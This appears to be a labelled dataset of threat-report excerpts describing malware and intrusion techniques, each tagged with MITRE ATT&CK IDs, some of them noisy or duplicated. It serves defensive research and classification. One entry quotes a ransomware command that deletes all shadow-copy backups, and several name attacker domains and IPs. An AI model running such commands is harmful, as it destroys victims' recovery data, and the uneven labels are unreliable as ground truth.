Leveraging Hyperhost VPS and Proton VPN exit nodes to access webshells on internet-facing systems. Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal,T1102.003
"It is worth noting that the RC2FM module uses a number of encryption methods (variations of a simple XOR encryption routine), unlike the other InvisiMole parts",T1573.001
The initial VBScript will then create a scheduled task (T1053) to persistently run the secondary VBScript every minute by running the following command,T1053.005
"We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration",T1135
"""The """"jmpUrlList"""" provides the initial C&C servers, which are used to determine the secondary C&C server as well as additional commands to execute. We have observed attacker-controlled web servers, compromised victim web servers, and Technet and Pastebin web pages used for the initial C&C""",T1102.002
"The VBA macro code in the XLS file be3f12b. differed somewhat from that of the samples of the previous years. Once the font colour was changed, the “setup” batch code component as per previous variants, and the new Visual Basic Script (VBS) downloader component were revealed in columns AA and AB, respectively, as shown in figure 5 below",T1137.001
Overwrite file with garbage data (used in this version and the samples we analyzed) - Overwrite with a file (used in Shamoon Versions 1 and 2) - Encrypt the files and master boot record (not used in this version,T1485
"After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage.The DLL contains multiple ways to execute a PE file. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing",T1140
"""For this campaign, the threat actors registered at least 20 new domains targeting over 60 universities in Australia, the United States, the United Kingdom, Canada, Hong Kong, and Switzerland. These domains were registered using the Freenom domain provider, which administers the following free top-level domains (TLDs) unless the domain is considered """"special""",T1583.001
"The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018",T1041
"The SP variable is a string containing the victim's username. When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell",T1071.001
"The code receives a binary blob official M.E.Doc server, decrypts it using the Triple DES algorithm, and, afterwards, decompresses it using GZip. This remote control feature makes the backdoor a fully-featured cyberespionage and cybersabotage platform at the same time",T1140
"We have seen how the attackers are implementing different techniques to bypass two-factor authentication with smartcard/PIN to access protected resources on the victimʼs network. By capturing the PIN for the smartcard and binding the certificate, malware can silently use the card to authenticate to secure resources, so long as the card remains physically present in the card reader",T1111
"""Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"""". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\Taskbar"""". - Get the bitness of the Operating System : """"x86"""" or """"x64"""". - Get Username, OS name and version,. NET Framework version. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\<OfficeVersionNumber>.0\Word\Security\VBAWarnings = 0x1""",T1007
"The main purpose of this utility is to retrieve the RPC configuration of a process that has registered an interface. Once this PID is found, this utility reads the remote process’ memory and tries to retrieve the registered RPC interface",T1057 | T1016
"It is worth noting that the administrators could connect both to the corporate and the restricted network segments to maintain systems and provide users with technical support in both zones. As a result, by gaining control of administrator workstations the attackers were able to access the restricted network segment",T1078
"This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. It contains in its body the base64-encoded source code of a downloader. It decodes that source code and compiles it directly on the system using the built-in Microsoft.CSharp.CSharpCodeProvider class. As can be seen in Figure 6, the decoded source code still has comments in it, illustrating the apparent sloppiness of Gamaredon’s operators",T1140 | T1027.004
One of the distribution method of Bad Rabbit is via drive-by download. Some popular websites are compromised and have JavaScript injected in their HTML body or in one of their .js files,T1189
"First, until it is clear that it no longer poses a risk, block updates for MEDoc, the Ukrainian accounting software which has exploded into the public consciousness in the past two days as the likely source of infection. Specifically, the domain upd . me-doc . com . ua and its associated IP address 92 . 60 . 184 . 55, have been identified as the distribution point for MEDoc software updates",T1195.002
"RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later",T1071.001
"For non-email accounts, the operator validated credentials no matter how trivial seeming the website may have been. The operators appear to have been meticulously gathering trivial social information about the individuals. In total, the operator attempted to validate credentials for at least 75 different websites across the two individuals",T1589.001
The connection to one of the hosts is then started over raw TCP on port 9999,T1571
"This bundle of malicious code starts out with a VBScript that first kills the Outlook process if it is running, and then removes security around VBA macro execution in Outlook by changing registry values. It also saves to disk the malicious OTM file (Outlook VBA project) that contains a macro, the malicious email attachment and, in some cases, a list of recipients that the emails should be sent to",T1112
"Display and manipulate extended attributes. Used by malware and threat actors as a means to bypass Gatekeeper and Notarization checks on macOS. Incredibly, any process or user can remove the file attribute that is required for these checks to proceed without admin rights",T1553.001
"HOLMIUM has likely been running cloud-based attacks with Ruler since 2018, but a notable wave of such attacks was observed in the first half of 2019. These attacks combined the outcome of continuous password spray activities against multiple organizations, followed by successful compromise of Office 365 accounts and the use of Ruler in short sequences to gain control of endpoints. This wave of attacks was the subject of a warning from US Cybercom in July 2019",T1078.004
"In observed traffic, the C2 server employs steganography to hide data within HTTP response bodies and attempts to appear as benign XML related to .NET assemblies. Command data is spread across many GUID and hexadecimal strings",T1001.002
"If running as non-root, it persists as a launch agent: ~/Library/LaunchAgents/com.apple.questd.plist. Below we dump that arguments passed to the install_daemon …first, when the malware is installing itself as a launch agent",T1543.004
"SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C which is the compromised website of speakupomaha[.]com. The first POST packet sends a victim ID and more introductory information such as the current version of the installed script. Afterwards, the Trojan posts “full information” about the machine by executing the following LINUX commands",T1071.001
"The malware also configures the system to load coinmining software on the system. This software is made to look like an XMRig-type coinminer, which is used to mine Monero. In fact, though, it loads a coinminer that mines Koto, a lesser-known cryptocurrency that is associated with Japan",T1496
This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period,T1564.003
One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. It would allow the attacker to upload and download files as well as execute arbitrary commands,T1102.002
"Sowbug frequently maintains a long-term presence on the networks of targeted organizations, sometimes remaining inside a victim environment for up to six months. One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software",T1036.005
"RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. All rights reserved.24 Our Response: Increased PowerShell Visibility • Upgraded the environment to PowerShell 3.0 and enabled logging • Logging captured input/output, variable initialization, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30. All rights reserved.32 BONUS SLIDE: TOR backdoor (just because it’s cool) 33) 34) 34",T1090.003
"When the copied file gets executed, it creates the Imminent directory in the %AppData% directory to save the encrypted log, network information and system information. The file will be uploaded to C2 when related command is received",T1041
"The payload does not have a command handler. Rather, it will process the JSON object within the C2’s response for applications to open and/or command line commands to run by calling the CreateProcessW API function. For instance, the decrypted response in Figure 9 contains a JSON object would instruct the payload to run “c:\windows\system32\cmd.exe” using the command line argument “/c whoami”, which effectively runs the “whoami” command",T1033
The next step in the execution cycle involves establishing a secure session key between GoldMax and its C2 server. GoldMax first requests a session key from its C2 server by sending an HTTP GET request that contains a custom HTTP Cookie value that is unique to each implant. The Cookie value is comprised of the following dynamically generated and hardcoded values,T1071.001
"This adversary starts with obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control",T1110.004 | T1110.003
"Spreading across the network: Conti is not satisfied with causing damage to just the infected machines. Instead, it spreads in the network via SMB and encrypts files on remote machines as well",T1080
"Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage, which screens their IP address. If the address falls within ranges that the attackers are interested in, the malicious site waits for their next page view to drop an exploit on the desirable target's PC. There has also been at least one victim targeted by a spear-phishing attack. A variety of malware, including the PlugX tool, was shared with other known Chinese threat groups",T1608.004
"""It then uses the """"offset_toPayload"""" value as an offset that it will read 283160 (45218h) bytes from the XLS file. The shellcode then enters a decryption loop to convert the embedded payload from ciphertext to cleartext. The algorithm uses the length of the ciphertext negated as the initial encryption key, which it bit rotates right by 1 to adjust the key for each of decryption. It will use this key to decrypt four bytes of the ciphertext with the XOR operation until all the ciphertext is decrypted. During each iteration of the decryption process, the algorithm will check to make sure the four bytes of ciphertext are not equal to the key or equal to zero before decrypting the ciphertext. The following table contains the first five rounds of the algorithm to explain the decryption process""",T1140
"The files have names that resemble legitimate Windows file and directory names, once again demonstrating how the attackers attempted to blend in the environment and hide in plain sight",T1036.005 | T1036.005
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",T1070.004
SolarWinds.Orion.Core.BusinessLayer.dll is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST,T1553.002 | T1071.001
The executable dispci.exe appears to be derived from the code base of the legitimate utility DiskCryptor. It acts as the disk encryption module which also installs the modified bootloader and prevents the normal boot-up process of the infected machine,T1495
"The script will send the specified number of DNS queries using the following format, each of which the C2 will respond with an IPv6 address that the script will treat as a string of data: www. The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key. Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task",T1140
"In terms of communication between victims and C&Cs, TrickBot update responses seem to have been digitally signed using bcrypt, potentially in an effort to impede future takedowns. This particular improvement ensures that each new update for TrickBot is legitimate. This particular behavior was observed for the 2000016 version, but not for the 100003 version",T1573.001
"The first, prefixed with a file:// protocol handler, is indicative of an attempt to coax the operating system to send sensitive NTLMv2 material to the specified actor-controlled IP address over port 445",T1187
1) Web Shells 2) A modified version of the China Chopper web shell was used for initial compromise. 3) Custom-built web shells were used for later phases of the attack. 7) WMI and PowerShell commands were used for various tasks. 8) RAT 9) PoisonIvy was used to maintain access across the compromised assets. 10) PlugX was used in some of the instances that we're aware of. 11) Credential Dumpers 12) A modified version of Mimikatz was used to dump credentials stored on the compromised machines. 13) A PowerShell-based Mimikatz was also used to dump credentials stored on the compromised machines. 14) Lateral movement 15) WMI was used for lateral movement. 16) PsExec was also used for lateral movement. 19) Compression tool 20) Winrar was used to compress and password-protect stolen data,T1059.001
"OverWatch threat hunters observed the threat actor performing multiple connectivity checks via DNS lookups for a subdomain under dns[.]1433[.]eu[.]org, executed under the Apache Tomcat service running on the VMware Horizon instance",T1595.002
"""1) It uses the application programming interface (API) CreateFileA to \\.\PHYSICALDRIVE0 to retrieve the handle of the hard disk. 2) It overwrites the first sector of the disk (512 bytes) with """"0x00"""". The first sector is the disk’s MBR. 3) It will try to perform the routines above (steps 1-2) on \\.\PHYSICALDRIVE1, \\.\PHYSICALDRIVE2, \\.\PHYSICALDRIVE3, and so on, as long as a hard disk is available. 4) It will then force the machine to shut down via the API ExitWindows""",T1106
"Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. If any service was transitioned to disabled the Update method exits and retries later. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver",T1007
"For the Neoichor family, the malware checks for internet connectivity by contacting bing.com with the request format bing.com",T1016.001
"If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks",T1030
"In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme. We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin",T1083
"The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution. First, the malware does not run on Windows XP systems. It uses the GetVersion() API to get the OS version. The code used to perform this task: The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample",T1082
"Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server. The command line",T1059.003
"""192 file extensions Comparing file extension. The wiper will overwrite the content of each file with 1MB worth of 0xCC bytes and rename them by appending each filename with a random four-byte extension. Wiping the file. After the wiping process completes, it performs a delayed command execution using Ping to delete """"InstallerUtil.exe"""" from the %TEMP% directory. Finally, it attempts to flush all file buffers to disk and stop all running processes (including itself) by calling ExitWindowsEx Windows API with EWX_SHUTDOWN flag""",T1106
"Confucius has a miscellany of backdoors: sctrls, ByeBye Shell, remote-access-c3, and sip_telephone, to name a few. One of its file stealers, swissknife2, abuses a cloud storage service as a repository of exfiltrated files. At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account",T1567.002
"Code signing certificates issued to fake companies, disabling security software, taking over domain controllers and living-off-the-land (LotL) tactics — MegaCortex targets company networks and continues to evolve its code to adapt",T1588.003
"""It then calls a function called """"SetLog2"""", which sets variables for the system's IP address, MAC address and hostname. The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response""",T1016
"After the installation routine, Cardinal RAT will inject itself into a newly spawned process. It will attempt to use one of the following installed executables for the newly spawned process",T1055
"Among these variables we can spot the credentials of a user named ‘sftp’, including its hardcoded password. This user seems to be created as a means to provide initial persistence to the compromised system",T1136.001
"The threat actor made some modifications to the original source code of hTran. Many strings, including the debug messages, were intentionally changed and obfuscated in an attempt to evade detection and thwart efforts to identify the malware by antivirus and researchers",T1027
"""After the beginning of the first while loop, the backdoor registers itself at the C2 server. It is going through the list of C2 servers stored in its registry configuration parameter until it finds one responding. The hosts are stored in the aforementioned """"Hosts"""" registry key in the format <IP Address Host1> <TcpPort> <IP Address Host2> <TcpPort> <IP Address Host3> <TcpPort>, etc""",T1008
"MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds. If either exist, the contents are read and XOR decoded with the string",T1140 | T1083
Xbash hard-coded a bunch of domain names as its C2 servers. It also fetches a webpage hosted on Pastebin (listed in the IOCs) to update the C2 domain list. Some of these C2 domains are reused from previous Windows coinminers attributed to Iron cybercrime group,T1102.001
"GoldMax is equipped with a decoy network traffic generation feature that allows it to surround its malicious network traffic with seemingly benign traffic. This feature is meant to make distinguishing between malicious and benign traffic more challenging. If the decoy network traffic feature is enabled (set to ‘1’ in the configuration data), GoldMax issues a pseudo-random number of decoy HTTP GET requests (up to four) for URLs pointing to a mixture of legitimate and C2 domain names and/or IP addresses",T1001.001
"These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage. PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity",T1480.001
"1) Federation TrustsMicrosoft has observed the actor adding new federation trusts to an existing tenant or modifying the properties of an existing federation trust to accept tokens signed with actor-owned certificates. 2) Microsoft has observed the actor adding new federation trusts to an existing tenant or modifying the properties of an existing federation trust to accept tokens signed with actor-owned certificates. Examples include mail archiving applications. Permissions are usually, but not always, AppOnly.The actor may use their administrator privileges to grant additional permissions to the target Application or Service Principal (e.g. Examples include mail archiving applications. Permissions are usually, but not always, AppOnly. 5) The actor may use their administrator privileges to grant additional permissions to the target Application or Service Principal (e.g. Mail.Read, Mail.ReadWrite",T1098.002
Doki is a backdoor for Linux which function is to execute code received from its operators. The malware utilizes the DynDNS service and a unique Domain Generation Algorithm (DGA) based on the Dogecoin cryptocurrency blockchain in order to find the domain of its C2 in real time,T1568.002
"The macros in the documents convert an embedded executable from hexadecimal and write it to the “Public” folder as “update.exe”. Afterwards, the payload gets copied to the “Startup” directory under the name “svehost.exe” to ensure it automatically runs when the system is started",T1547.001
"Until the end of 2016, PlugX payloads were delivered as RAR SFX archives and used one of the usual sideload executables such as fsguidll.exe. ZeroT sets up the persistence for these samples, adding a new service to run PlugX during system startup (Fig 17",T1543.003
"When the AD FS server receives an HTTP POST request containing the URI pattern /adfs/services/trust/2005/samlmixed/upload, the backdoor treats the obfuscated and compressed POST data as either .NET assembly or source code. If assembly, the backdoor executes the assembly in the execution context of the AD FS process. If source code, the backdoor dynamically compiles the source code and proceeds to execute the resulting memory-resident assembly in the execution context of the AD FS process",T1552.004 | T1027.004
"Conti has been under active development throughout WIZARD SPIDER’s deployment of the ransomware in BGH campaigns. In August 2020, Conti’s technique shifted from fully encrypting files with AES-256 to a more strategic and efficient approach of selectively encrypting files with the ChaCha stream cipher. Conti’s host discovery and network share targeting functionality has also continued to evolve and is now comparable to that of Ryuk’s",T1486
"During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample",T1027.005
"The plugin is designed to retrieve information about all active network sessions on the infected server. For each session, the host address from which the connection is made can be retrieved, along with the name of the user initiating the connection",T1049
"The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled “IE Web Cache” that executes the file hourly (full script available in Appendix B: Stage Two PowerShell Command",T1053.005
The communication traffic between the BCS-server tool and the C&C server is base64 encoded and encapsulated in HTML tags,T1132.001
If the current integrity level is local_system It will call WTSQueryUserToken and CreateProcessAsUser to start a new process with system privilege as shown in Figure 20. It will call WTSQueryUserToken and CreateProcessAsUser to start a new process with system privilege as shown in Figure 20,T1134.002
"Casbaneiro can also try to steal victim’s cryptocurrency. It does so by monitoring the content of the clipboard and if the data seem to be a cryptocurrency wallet, it replaces them with the attacker’s own. This technique is not new; it has been used by other malware in the past – even the infamous BackSwap banking trojan implemented it in its earliest stages",T1115
"Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server",T1059.003
The malicious Visual Basic script uses a unique key (custom alphabet) to encode data. This key was also used in the Honeybee campaign and appears to have been used since August 2017,T1059.005
"The payload’s install function makes a call to SetWindowsHookEx with a thread ID of 0, resulting in the function being injected into every GUI process running on the victim machine. This particular process is referenced in this forum post",T1056.004
"After detecting the removable USB volume drive, the PlugX variant creates a hidden folder with name “RECYCLE.BIN” and copies the EXE file, the loader DLL, and encrypted DAT file. Then, it hides all of the folders in the root directory and creates LNK for each one in order to deceive the victim to click on the LNK files",T1564.001
"The third module allows the operators to take a screenshot of the remote system. The script executes an open-source .NET class used for taking a screenshot. The resulting screenshot is saved at “%TMP%/image.png”, sent back to the attackers by the GRIFFON implant and then deleted",T1113
"Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. 29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly",T1505.003
"The main payload of the attack is an executable named msapp.exe, and its purpose is to take the victim machine out of service by locking it and wiping its contents. Upon execution, the malware hides this executable’s console window to decrease the suspicion of vigilant victims",T1564.003
Process Watcher The Process Watcher feature spawns a separate daemon to watch the main Imminent Monitor Client in case the client ever crashes or gets closed,T1057
"Waterbug’s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards “living off the land,” making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems",T1059.001
Every 6 seconds the malware iterates through running processes and updates its list for it to capture later on,T1057
"After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999>.<c2 name> This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request",T1012
"Before encryption, both variants of BitPaymer attempt to remove the backup shadow files from the host, making it impossible to restore encrypted files. This is achieved by launching the vssadmin.exe process with the following command vssadmin.exe Delete Shadows /All /Quiet",T1490
A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows. UAC bypass via DLL hijacking requires,T1548.002
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>: [command]<>[parameters for command in hexadecimal format] The available commands are",T1027
"If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder. Once loaded, the hijacked DLL (winmm.dll) is patched to execute the aforementioned ADS",T1548.002
"For Internet Explorer and Microsoft Edge browsers, the plugin retrieves user credentials using functions from the vaultcli.dll library that implements the functions of the vaultcmd.exe utility",T1555.004
"Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company",T1591
"Next, it relaunches Outlook with a special option, /altvba <OTM filename>, which loads the Gamaredon VBA project. The malicious code is executed once the Application.Startup event is received. They have been using this module in three different ways to send malicious email to",T1137
The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys,T1547.001
The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell. From those servers the threat actor could use a web shell to retrieve the encrypted archives,T1074.002
"After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process",T1055.012
"""As happens so many times, it contains a Visual Basic script that will execute the malicious activities. This one, however, appears to be more innovative. It starts by loading its own document into memory. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk. This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called """"launcher.py. The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file """"License.txt"""" and exit, thus deleting itself. Anti-sandbox code If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it""",T1497.001
"The main module can also change the communication channel: once every 360 C&C loops, it can retrieve a new domain from the actors’ S3 bucket",T1008
"""OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers. Captured credentials are DES-encrypted using the password """"12345678"""" and are written to the log.txt file in the root directory. Like the ChinaChopper web shell, the OwaAuth web shell requires a password. However, the OwaAuth web shell password contains the victim organization's name. More information about the OwaAuth web shell is available in Appendix C. ASPXTool — A modified version of the ASPXSpy web shell (see Figure 6). It is deployed to internally accessible servers running Internet Information Services (IIS). Figure 6. ASPXTool web shell""",T1505.003
"It’s worth noting that Blue Mockingbird’s initial access does not provide the privileges needed to establish the many persistence mechanisms used. In one engagement we observed, the adversary using a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the NT Authority\SYSTEM account. JuicyPotato allows an attacker to abuse the SeImpersonate token privilege and Windows DCOM to move from an unprivileged account to the highest level of privilege on a system (T1068: Exploitation for Privilege Escalation). During this engagement, the attacker abused a DCOM class and leveraged the IIS Application Pool Identity’s SeImpersonate privilege to perform the escalation",T1134
"The threat actors retrieved the NTDS.dit file from the volume shadow copy. NTDS.dit contains Active Directory data, including password hashes for all users on a domain. Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry",T1003.003
"For each drive targeted, the malware recursively iterates through all files and directories. For each file, the name and path are compared against a list of excluded filenames and two lists of excluded directory names. These exclusion lists are composed of regular expression type strings that are located in the encrypted strings table. If the file name and path do not match any regular expressions in the exclusion lists, the file is encrypted",T1480
"In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system. TG-3390 actors have deployed the OwaAuth web shell to Exchange servers, disguising it as an ISAPI filter. The IIS w3wp.exe process loads the malicious DLL, which CTU researchers have observed in the Program Files\Microsoft\Exchange Server\ClientAccess\Owa\Bin directory",T1505.004
"In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second scheduled task named “Scheduled Defrags” was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016",T1070.006
Micropsia is able to perform a recursive directory listing on-demand for all volume drives available on the victim’s machine. It checks whether a volume drive exists by simply iterating all possible letters (from A to Z) and testing whether this directory exists. Malware operators are also able to fetch specific files from victim file system by their path,T1083
BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services,T1574.001
"DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks",T1614.001
